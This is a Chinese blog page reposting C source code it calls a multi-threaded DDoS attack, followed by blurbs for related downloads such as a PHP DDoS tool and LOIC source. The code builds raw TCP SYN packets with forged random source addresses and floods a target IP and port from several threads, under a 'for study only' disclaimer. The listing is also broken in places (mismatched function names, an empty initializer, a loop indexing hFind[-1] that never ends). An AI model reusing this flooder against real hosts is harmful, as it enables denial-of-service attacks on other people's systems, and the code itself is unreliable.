`
宋科明
  • 浏览: 101876 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

多线程DDOS攻击源代码

阅读更多

/*
//作者:特务
//来源:纯技术论坛:[url]http://167168.kmip.net[/url]
// 一群技术人员的逛爱之处,闲聊者免进~~技术永远是第一生产力!
// 注意:请注明转载来源

//只用于学习,如有混用,后果自负
*/
#include "stdafx.h"
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"WS2_32.LIB")

typedef struct tag_ip_Header//ip首部
{
unsigned char h_verlen;//4位手部长度,和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int SourceIP;//伪造IP地址
unsigned int DestIP;//攻击的ip地址
}IPHEADER;

typedef struct tag_tcp_Header
{
USHORT th_sport;//伪造端口
USHORT th_dport;//攻击端口
unsigned int th_seq;//32位系列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首布长度,6位保留字
unsigned char th_flag;//6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//
}TCPHEADER;

typedef struct tag_tsd_Header
{
unsigned long saddr;//伪造地址
unsigned long daddr;//攻击地址
char mbz;//
char ptcl;//协议类型
unsigned short tcpl;//TCP长度
}TSDHEADER;

DWORD WINAPI Start(void);
HANDLE hFind[10];

//计算效验和
USHORT checksum(USHORT *buffer,int size)
{
unsigned long check=0;
while(size>1)
{
check+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
check += *(USHORT*)buffer;
}
check = (check >>16) + (check & 0xffff);
check += (check >>16);
return (USHORT)(~check);
}
//攻击线程
DWORD WINAPI Statr(void)
{
SOCKET sock;
WSADATA WSAData;
SOCKADDR_IN syn_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
TSDHEADER psdHeader;
const char *addr = "127.0.0.1";//攻击的IP地址
int port = 135;//要攻击的端口
if(WSAStartup(MAKEWORD(2,2),&WSAData))
{
return false;
}
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
return false;
}
BOOL flag=true;
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)
{
return false;
}
int Time =888;
if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)
{
return false;
}
syn_in.sin_family = AF_INET;
syn_in.sin_port = htons(port);
syn_in.sin_addr.S_un.S_addr = inet_addr(addr);
while(TRUE)
{
//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=(unsigned char)GetTickCount()%514+620;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.SourceIP=htonl(GetTickCount()*1986);
ipHeader.DestIP=inet_addr(addr);
//填充Tcp首部
int SourcePort =GetTickCount()*1986%514;
tcpHeader.th_dport=htons(port);
tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_seq=htonl(0x12345678);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(620);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;
//填充TCP伪首部用来计算TCP头部的效验和
psdHeader.saddr=ipHeader.SourceIP;
psdHeader.daddr=ipHeader.DestIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));

//计算校验和
char SendBuff[100]=;
memcpy(SendBuff, &psdHeader, sizeof(psdHeader));
memcpy(SendBuff+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(SendBuff, &ipHeader, sizeof(ipHeader));
memcpy(SendBuff+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

//发送数据包
int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in));
if(Syn==SOCKET_ERROR)
{
return false;
}
}
closesocket(sock);
WSACleanup();
return true;
}

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{ //启动线程,10,大家可以自己改
for(int i=0;i<10;i++)
{
hFind[i-1]=createThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL);
i--;
}
return 0;
}

分享到:
评论

相关推荐

    电池风暴 源代码

    【标题】"电池风暴 源代码"涉及的是一个名为"phpddos"的源代码,这是一款基于PHP编写的DDoS(分布式拒绝服务)攻击工具。DDoS攻击是网络攻防领域的一个重要知识点,它通过大量恶意请求淹没目标服务器,使其无法正常...

    奇迹GAMESERVER源代码

    1. **服务器架构**:源代码可能包含服务器的整体架构设计,如多线程处理玩家请求、网络通信协议、数据库交互等关键模块。了解这些有助于重构或优化服务器性能,提高玩家体验。 2. **扩展码**:在游戏开发中,扩展码...

    HTTP多线程下载

    10. **安全性**:虽然多线程下载提高了效率,但也可能增加安全风险,比如DDoS攻击。服务器需要有能力限制来自同一客户端的并发请求数量。 综上所述,"HttpMultiplyDownLoad"可能包含了一个实现上述功能的代码示例,...

    LOIC源代码 低轨道离子加农炮源代码

    总之,通过分析LOIC的源代码,开发者和安全专家可以深入了解DDoS攻击的原理,提高网络安全防护水平,同时也能提升对C#编程语言和网络编程的理解。但请始终记住,任何网络攻击工具的使用都必须遵守法律法规,遵循道德...

    龙族服务端完整源代码

    这套源代码的学习和研究对于理解大型在线游戏服务端架构、网络编程、数据库操作、多线程并发控制、安全性设计等方面都具有极高的价值。无论是对于游戏开发人员还是对技术感兴趣的爱好者,都能从中获益,提升自己的...

    热血江湖服务端C++源代码

    - **C++多线程编程**:游戏服务器需要处理大量并发连接,多线程技术是必不可少的,理解如何使用C++的线程库(如std::thread)来实现并发处理。 - **网络编程**:掌握TCP/IP协议,了解如何使用socket进行网络通信,...

    VB做的Proxy服务器源代码

    2. **多线程**:为了同时处理多个客户端请求,代理服务器通常需要多线程架构,确保并发性能。 3. **请求解析**:代理服务器需要解析HTTP请求,包括方法(GET、POST等)、URL、头部信息等,并转发到目标服务器。 4. *...

    p2p源代码,点对点源代码demo

    6. **安全性**:P2P网络的安全性是个重要话题,源代码可能包括身份验证、数据加密、防止DDoS攻击等安全措施。 7. **容错与一致性**:在P2P网络中,节点可能会随时加入或离开,因此需要有容错机制保证网络稳定性。...

    asp.net多线程的TCP端口扫描程序的设计与实现(源代码+论文).rar

    通过阅读源代码和论文,可以深入理解ASP.NET多线程TCP端口扫描程序的实现细节,包括线程管理、异常处理、性能优化等方面的知识。这些经验对于提升.NET开发者的技能和解决实际问题的能力大有裨益。

    BitTerent 4.0.1 源代码

    6. **安全与容错**:Tracker服务器需要处理大量并发请求,源代码中可能会有错误处理机制和防止滥用的措施,如限制非法请求和DDoS攻击。 7. **扩展性**:BitTorrent 4.0.1版本可能已经考虑到系统的可扩展性,比如...

    pvpgn1.8源代码

    你可以查看和学习网络编程、多线程处理、数据库交互、加密算法等方面的技术。此外,通过阅读源代码,开发者可以定制服务器功能,如添加新的游戏支持或改进现有功能。 4. **编译与安装**:获取源代码后,开发者需要...

    C_编写的QQ+源代码MYQQ源代码

    通过研究MYQQ源代码,开发者可以学习到如何使用C#实现网络通信、多线程、数据库操作、UI设计等多个方面的知识。同时,这也有助于理解即时通讯软件的设计模式,例如客户端-服务器架构、发布-订阅模式等。不过,值得...

    A3服务端AccountServer源代码

    多线程、异步IO或事件驱动模型(如Reactor模式)都是常见的解决方案。 6. **分布式系统**:对于大型在线游戏,AccountServer可能会部署在多台服务器上,实现负载均衡和高可用性。这就需要熟悉分布式系统的设计,如...

    实时聊天hao IM code 工具源代码

    【标题】"实时聊天hao IM code 工具源代码" 涉及的主要知识点是实时聊天应用的开发,这通常涉及到计算机网络编程、多线程处理、消息传递协议以及用户界面设计等多个方面。 首先,实时聊天工具的核心是实现即时通信...

    unity act游戏服务器源代码

    5. **并发与多线程**:服务器需要处理多个并发连接,源代码可能会使用线程池或者异步操作来提高性能。理解并发控制原语,如锁、信号量、条件变量等是必要的。 6. **安全性与性能监控**:服务器端的安全性极其重要,...

    网狐服务器源代码

    5. **安全性**:服务器源代码需要考虑到安全措施,如防止SQL注入、XSS攻击、DDoS防护,以及数据加密传输(HTTPS),确保用户信息的安全。 6. **游戏逻辑**:源代码中包含了游戏规则的实现,例如麻将、扑克等不同玩...

    传奇3游戏源码分析,传奇源代码,Pascal源码.rar

    《传奇3游戏源码分析》是一份深入探讨传奇系列游戏后台服务器端开发的资源,主要以Pascal语言编写的源代码为核心。这份压缩包包含了"LegendOfMir2_Server.pdf"这个文档,很可能是对游戏服务器架构、算法以及逻辑流程...

    dc++(一个曾经大量使用的p2p)的源代码

    此外,源代码中还有防止DDoS攻击和恶意文件传播的机制,这些都是现代互联网应用必须面对的问题。 **7. 开源文化与社区协作** 作为开源软件,dc++的开发和维护依赖于社区的贡献。源代码揭示了开源项目如何通过版本...

    WebSocket .net聊天室源代码

    8. 安全性:源代码可能涉及的身份验证、数据加密、防止DDoS攻击等安全措施,对于实际部署和运营至关重要。 9. 部署与运行:学习如何在IIS(Internet Information Services)或其他Web服务器上配置和部署WebSocket...

    多人聊天程序源代码.rar

    多人聊天程序源代码是开发实时通信应用的核心组成部分,它涉及到计算机网络、多线程编程、数据传输协议等关键领域的知识。下面将详细解释这些概念及其在多人聊天程序中的应用。 1. **计算机网络**:在多人聊天程序...

Global site tag (gtag.js) - Google Analytics